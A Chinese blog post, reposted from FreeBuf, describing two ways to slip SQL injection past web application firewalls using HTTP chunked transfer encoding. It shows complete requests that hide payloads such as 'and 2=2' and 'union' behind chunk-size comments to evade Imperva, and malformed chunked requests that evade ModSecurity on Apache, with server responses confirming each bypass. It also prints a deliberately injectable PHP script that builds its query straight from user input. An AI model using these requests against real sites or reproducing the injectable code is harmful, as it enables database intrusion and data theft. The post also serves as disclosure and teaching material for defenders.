利用分块传输吊打所有WAF--学习笔记
在看了bypassword的《在HTTP协议层面绕过WAF》之后,想起了之前做过的一些研究,所以写个简单的短文来补充一下文章里“分块传输”部分没提到的两个技巧。
技巧1 使用注释扰乱分块数据包
一些如Imperva、360等比较好的WAF已经对Transfer-Encoding的分块传输做了处理,可以把分块组合成完整的HTTP数据包,这时直接使用常规的分块传输方法尝试绕过的话,会被WAF直接识别并阻断。
我们可以在[RFC7230]中查看到有关分块传输的定义规范。
4.1. Chunked Transfer Coding
The chunked transfer coding wraps the payload body in order to
transfer it as a series of chunks, each with its own size indicator,
followed by an OPTIONAL trailer containing header fields. Chunked
enables content streams of unknown size to be transferred as a
sequence of length-delimited buffers, which enables the sender to
retain connection persistence and the recipient to know when it has
received the entire message.
chunked-body = *chunk
last-chunk
trailer-part
CRLF
chunk = chunk-size [ chunk-ext ] CRLF
chunk-data CRLF
chunk-size = 1*HEXDIG
last-chunk = 1*("0") [ chunk-ext ] CRLF
chunk-data = 1*OCTET ; a sequence of chunk-size octets
The chunk-size field is a string of hex digits indicating the size of
the chunk-data in octets. The chunked transfer coding is complete
when a chunk with a chunk-size of zero is received, possibly followed
by a trailer, and finally terminated by an empty line.
A recipient MUST be able to parse and decode the chunked transfer
coding.
4.1.1. Chunk Extensions
The chunked encoding allows each chunk to include zero or more chunk
extensions, immediately following the chunk-size, for the sake of
supplying per-chunk metadata (such as a signature or hash),
mid-message control information, or randomization of message body
size.
chunk-ext = *( ";" chunk-ext-name [ "=" chunk-ext-val ] )
chunk-ext-name = token
chunk-ext-val = token / quoted-string
The chunked encoding is specific to each connection and is likely to
be removed or recoded by each recipient (including intermediaries)
before any higher-level application would have a chance to inspect
the extensions. Hence, use of chunk extensions is generally limited
通过阅读规范发现分块传输可以在长度标识处加上分号“;”作为注释,如:
9;kkkkk
1234567=1
4;ooo=222
2345
0
(两个换行)
几乎所有可以识别Transfer-Encoding数据包的WAF,都没有处理分块数据包中长度标识处的注释,导致在分块数据包中加入注释的话,WAF就识别不出这个数据包了。
现在我们在使用了Imperva应用防火墙的网站测试常规的分块传输数据包:
POST /xxxxxx.jsp HTTP/1.1
......
Transfer-Encoding: Chunked 9
xxxxxxxxx
9
xx=xxxxxx
9
xxxxxxxxx
1
d
9
&a=1 and
3
2=2
0
(两个换行)
返回的结果如下图所示。

可以看到我们的攻击payload “and 2=2”被Imperva的WAF拦截了。
这时我们将分块传输数据包加入注释符。
POST /xxxxxx.jsp HTTP/1.1
......
Transfer-Encoding: Chunked 9
xxxxxxxxx
9
xx=xxxxxx
9
xxxxxxxxx
1;testsdasdsad
d
9;test
&a=1 and
3;test44444
2=2
0
(两个换行)
返回的结果如下图所示。
可以看到Imperva已经不拦截这个payload了。
技巧2 Bypass ModSecurity
众所周知ModSecurity是加载在中间件上的插件,所以不需要理会解析http数据包的问题,因为中间件已经帮它处理完了,那么无论使用常规的分块还是加了注释的分块数据包,ModSecurity都能直接获取到完整的http数据包然后匹配危险关键字,所以一些基于ModSecurity做的WAF产品难道就不受影响吗?
接下来我们在Apache+ModSecurity环境做测试。
sql.php代码如下:
<?php
ini_set("display_errors", "On");
error_reporting(E_ALL);
$con = mysql_connect("localhost","root","");
if (!$con)
{
die('Could not connect: ' . mysql_error());
}
mysql_select_db("test", $con);
$id = $_REQUEST["id"];
$sql = "select * from user where id=$id";
$result = mysql_query($sql,$con);
while($row = mysql_fetch_array($result))
{
echo $row['name'] . " " . $row['password']."\n";
}
mysql_close($con);
print "========GET==========\n";
print_r($_GET);
print "========POST==========\n";
print_r($_POST);
?>
<a href="sqli.php?id=1"> sdfsdf </a>
ModSecurity加载的规则拦截了请求包中的关键字“union”。
下面我们的请求和返回结果如下:
请求:
http://10.10.10.10/sql.php?id=2%20union 返回:
<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
<html><head>
<title>404 Not Found</title>
</head><body>
<h1>Not Found</h1>
<p>The requested URL /sql.php was not found on this server.</p>
<hr>
<address>Apache/2.2.15 (CentOS) Server at 10.10.10.10 Port 80</address>
</body></html>
可以看到我们的“union”关键字被拦截了。
接下来我们传输一个畸形的分块数据包看看。
请求:
POST /sql.php?id=2%20union HTTP/1.1
......
Transfer-Encoding: chunked 1
aa
0
(两个换行) 返回:
<title>400 Bad Request</title>
</head><body>
<h1>Bad Request</h1>
<p>Your browser sent a request that this server could not understand.<br />
</p>
<hr>
<address>Apache/2.2.15 (CentOS) Server at 10.10.10.10 Port 80</address>
</body></html>
========GET==========
Array
(
[id] => 2 union
)
========POST==========
Array
(
)
可以看到虽然apache报错了,但是因为apache容错很强,所以我们提交的参数依然传到了php,而我们的ModSecurity并没有处理400错误的数据包,最终绕过了ModSecurity。
接下来我们把ModSecurity的规则改为过滤返回数据中包含“root”的字符串,然后在sql.php脚本中加入打印“root”关键字的代码。
接着我们做如下测试:
请求:
http://10.10.10.10/sql.php?id=1 返回:
<html><head>
<title>403 Forbidden</title>
</head><body>
<h1>Forbidden</h1>
<p>You don't have permission to access /sql.php
on this server.</p>
<hr>
<address>Apache/2.2.15 (CentOS) Server at 10.10.10.10 Port 80</address>
</body></html>
因为sql.php脚本中返回了带有“root”的关键字,所以直接就被ModSecurity拦截了。这时我们改为发送畸形的分块数据包。
请求:
POST /sql.php?id=1 HTTP/1.1
Host: 10.10.10.10
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Transfer-Encoding: chunked
Content-Length: 16 3
123
1
0
(两个换行)
返回:
<html><head>
<title>400 Bad Request</title>
</head><body>
<h1>Bad Request</h1>
<p>Your browser sent a request that this server could not understand.<br />
</p>
<hr>
<address>Apache/2.2.15 (CentOS) Server at 10.10.10.10 Port 80</address>
</body></html>
root 123456
========GET==========
Array
(
[id] => 1
)
========POST==========
Array
(
)
通过两个测试可以发现使用畸形的分块数据包可以直接绕过ModSecurity的检测。这个问题我们在2017年4月已提交给ModSecurity官方,但是因为种种问题目前依然未修复。
最后
本文是在《在HTTP协议层面绕过WAF》基础上作了一些简单的补充,文中介绍的方法对于常规的WAF基本上能直接Bypass,并不能绕过Filter、代码层通用防注之流。分块传输还有很多有趣的玩法,欢迎各位朋友一些交流学习。
转载自:https://www.freebuf.com/articles/web/194351.html
利用分块传输吊打所有WAF--学习笔记的更多相关文章
- [转载]利用分块传输绕过WAF进行SQL注入
原理 客户端给服务器发送数据的时候,如果我们利用协议去制作payload,就可以绕过http协议的waf,实现SQL注入 分块传输编码(Chunked transfer encoding)是HTTP中 ...
- 利用分块传输绕WAF
分块传输原理介绍 背景 HTTP Connection有两种连接方式:短连接和长连接: 短连接即一次请求对应一次TCP连接的建立和销毁过程. 长连接是多个请求共用同一个连接这样可以节省大量连接建立时间 ...
- 实验:传输层:UDP协议 学习笔记
一.传输层协议 从之前介绍的网络层协议来看,通信的两端是两台主机,IP数据报首部就标明了这两台主机的IP地址.但是从传输层来看,是发送方主机中的一个进程与接收方主机中的一个进程在交换数据,因此,严格地 ...
- UDP传输原理及数据分片——学习笔记
TCP传输可靠性是:TCP协议里自己做了设计来保证可靠性. IP报文本身是不可靠的 UDP也是 TCP做了很多复杂的协议设计,来保证可靠性. TCP 面向连接,三次握手,四次挥手 拥塞机制 重传机制 ...
- HTTP协议之分块传输与分段编码
目录 数据的分块传输 数据的分段编码(transfer-encoding) 前置知识:HTTP协议 数据的分块传输 我们都知道http协议是由TCP协议封装而来的应用层协议.我们和服务器之间的每次ht ...
- Caffe学习笔记(三):Caffe数据是如何输入和输出的?
Caffe学习笔记(三):Caffe数据是如何输入和输出的? Caffe中的数据流以Blobs进行传输,在<Caffe学习笔记(一):Caffe架构及其模型解析>中已经对Blobs进行了简 ...
- Burpsuit分块传输插件绕WAF原理和技巧(转)
0x00 原理 给服务器发送payload数据包,使得waf无法识别出payload,当apache,tomcat等web容器能正常解析其内容.如图一所示 0x02 实验环境 本机win10+x ...
- 《机器学习实战》学习笔记第十四章 —— 利用SVD简化数据
相关博客: 吴恩达机器学习笔记(八) —— 降维与主成分分析法(PCA) <机器学习实战>学习笔记第十三章 —— 利用PCA来简化数据 奇异值分解(SVD)原理与在降维中的应用 机器学习( ...
- HTTP 响应的分块传输
Transfer-Encoding 响应头用于告诉客户端服务器发送内容的编码格式. 其可选值有: chunked:数据分块发送.此时应缺省 Content-Length 响应头. compress:使 ...
随机推荐
- 数据库Schema
在学习SQL的过程中,会遇到一个让你迷糊的Schema的概念.实际上,schema就是数据库对象的集合,这个集合包含了各种对象如:表.视图.存储过程.索引等.为了区分不同的集合,就需要给不同的集合起不 ...
- MySQL-安装配置篇
一.MySQL二进制安装包安装 1.环境初始化 1)创建目录mkdir /app/database --安装路径 mkdir /data/3306 --存放数据路径 mkdir /binlog/330 ...
- ios签名app稳定不掉签技术详细教程详解
iOS签名是专门针对ios的APP内测的数字签名,是苹果面向开发者提出的一箱机制. 因为现在苹果APP下载渠道只有App Store,还可以加上一个内测用的testflight,也就是说,除了这两个官 ...
- (转)交叉编译lrzsz
交叉编译lrzsz 2016-03-20 1. 系统环境: Distributor ID: Ubuntu Description: Ubuntu 14.04.1 LTS Release: ...
- 100例Python代码带你从入门到进阶!
以下所有代码全都至少运行一遍,确保可复现.易于理解.逐步完成入门到进阶的学习. 此教程经过我 反复打磨多遍 ,经常为此熬夜,真心不易,文章比较长,看完有用,帮我点个在看或分享支持. 教程包括 62 个 ...
- linux常用命令(一)软件操作命令
软件包管理器:yum 安装软件:yum install xxx 卸载软件:yum remove xxx 搜索软件:yum search xxx 清理缓存:yum clean packages 列出已安 ...
- layui 事件监听触发
1:监听select 改变 <!-- 不用form 用div也可以 --> <form class="layui-form"> <div class= ...
- ZoneJS 的原理与应用
目录 序言 Zone 是什么 ZoneJS 的原理 ZoneJS 的应用场景 参考 1. 序言 ZoneJS 是 Angular 团队受到 Dart 的 Zone 的启发,为 Angular v2 及 ...
- C#LeetCode刷题-数学
数学篇 # 题名 刷题 通过率 难度 2 两数相加 29.0% 中等 7 反转整数 C#LeetCode刷题之#7-反转整数(Reverse Integer) 28.6% 简单 8 字符串转整数 ...
- vue.js中 v-for,v-on,v-model,结合应用案例---记事本
<!DOCTYPE html> <html> <head> <meta charset="utf-8"> <title> ...